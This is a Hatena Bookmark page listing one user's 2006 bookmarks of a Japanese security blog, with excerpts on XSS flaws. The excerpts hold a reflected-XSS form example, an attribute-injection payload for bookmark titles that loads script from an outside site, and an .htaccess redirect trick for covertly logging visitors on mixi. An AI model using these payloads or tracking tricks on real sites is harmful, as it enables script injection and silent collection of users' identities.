j0hnのブックマーク - はてなブックマーク

XSS - 表示系パラメータに存在する盲点 :: ぼくはまちちゃん！

こんにちはこんにちは！！クロスサイトスクリプティングの時間です！ XSSというと…！まっさきに思いつくのが、入力データ送信 → 確認表示の部分での無害化漏れですよね！たとえばこんな感じのフォームから受け取ったパラメータを、確認として表示するページとか！ (入力) <form action="register.cgi" method="post"> タイトル：<input type="text" name="title"> ← 「ぼくはまちちゃん！」を入力本文：<input type="text" name="body"> ← 「こんにちはこんにちは！！<script>alert(1)</script>」を入力 </form> (確認) <p>この内容で登録していい？</p> <p> タイトル：ぼくはまちちゃん！<br> 本文：こんにちはこんにちは！！<script>alert

j0hn 2006/08/02

security

リンク

超mixi足あとちょうについて :: ぼくはまちちゃん！

こんにちはこんにちは！！現在の超mixi足あとちょうは、何度かのバージョンアップをして、以下のような内容になってますよ！きみのMIXI ID：きみのpostkey：きみのメールアドレス： ※mixiの修正が4回入って、現在は非表示きみのブラウザ：きみのホスト名：リンク元： (おまけ４) きみのYahoo ID： (おまけ５) きみのHatena ID： (おまけ２) きみのlivedoor ID： (おまけ６) きみのGoogleアカウント： (おまけ３) きみのなまえ(amazon)： (おまけ７) きみの好みのタイプ： (おまけ１) きみのクリップボードの中身ところで、超mixi足あとちょうの追記にも書いたけれど、「hamachiya.com を見にいかなければ大丈夫」で思考停止するのって一番危険なんじゃないかな、と思うんだけど…！ここをみている一部の方々は、たぶ

j0hn 2006/05/03

リンク

mixi足あとちょうを、さらにバレにくくする :: ぼくはまちちゃん！

はまちや２さんの日記 mixi足あとちょうを、さらにバレにくくする2006/02/05 [15:53] (参考) mixi足あとちょうなんだか最近↑みたいに、自分のサイトのimgタグにmixiを指定してこっそり足あとを取るのが流行ってるらしい、って聞いたんですが！！「わーぼくのサイトにもimgタグにmixi仕込んでみたいな～」「けどバレちゃったら感じ悪いし…＞＜」なんて感じで二の足を踏んでいた人たちはいるかな！じゃあ、こんなふうにしてみればどうだろう…！かなりバレにくくなると思うよ！ .htaccessとかに以下のように書いておく Redirect 302 /spacer.gif http://mixi.jp/show_friend.pl?id=609805 そしたら、htmlは↓みたいにするだけ！ <img src="spacer.gif" width="1" height

j0hn 2006/03/21

なるほど

sns

リンク

はてなブックマークの超べんり機能 :: ぼくはまちちゃん！

タイトルを↓みたいに編集すれば、ユーザーが自由にScriptつかえちゃうんだね！ぼく、ゆめがひろがりんぐです！ "width=100 height=100 onmouseover=alert(String.fromCharCode(88,83,83)) ※最初にダブルクォート、最後に空白をひとついれる。あ、人気エントリーのタイトルとか書き換えたらダメだよ…！えらいことになっちゃうかも？ (追記) http://test/ ってurlのブックマークにテスト用のコードを置いてみたよ！タイトルが以下になってて hamachiya.com/h のscriptを呼び出す感じ。 (消しゴムに触れると呼び出されて、hamachiya.comをブックマークに追加してしまうという内容) "width=100 height=100 onmouseover=d=document;t=String; s=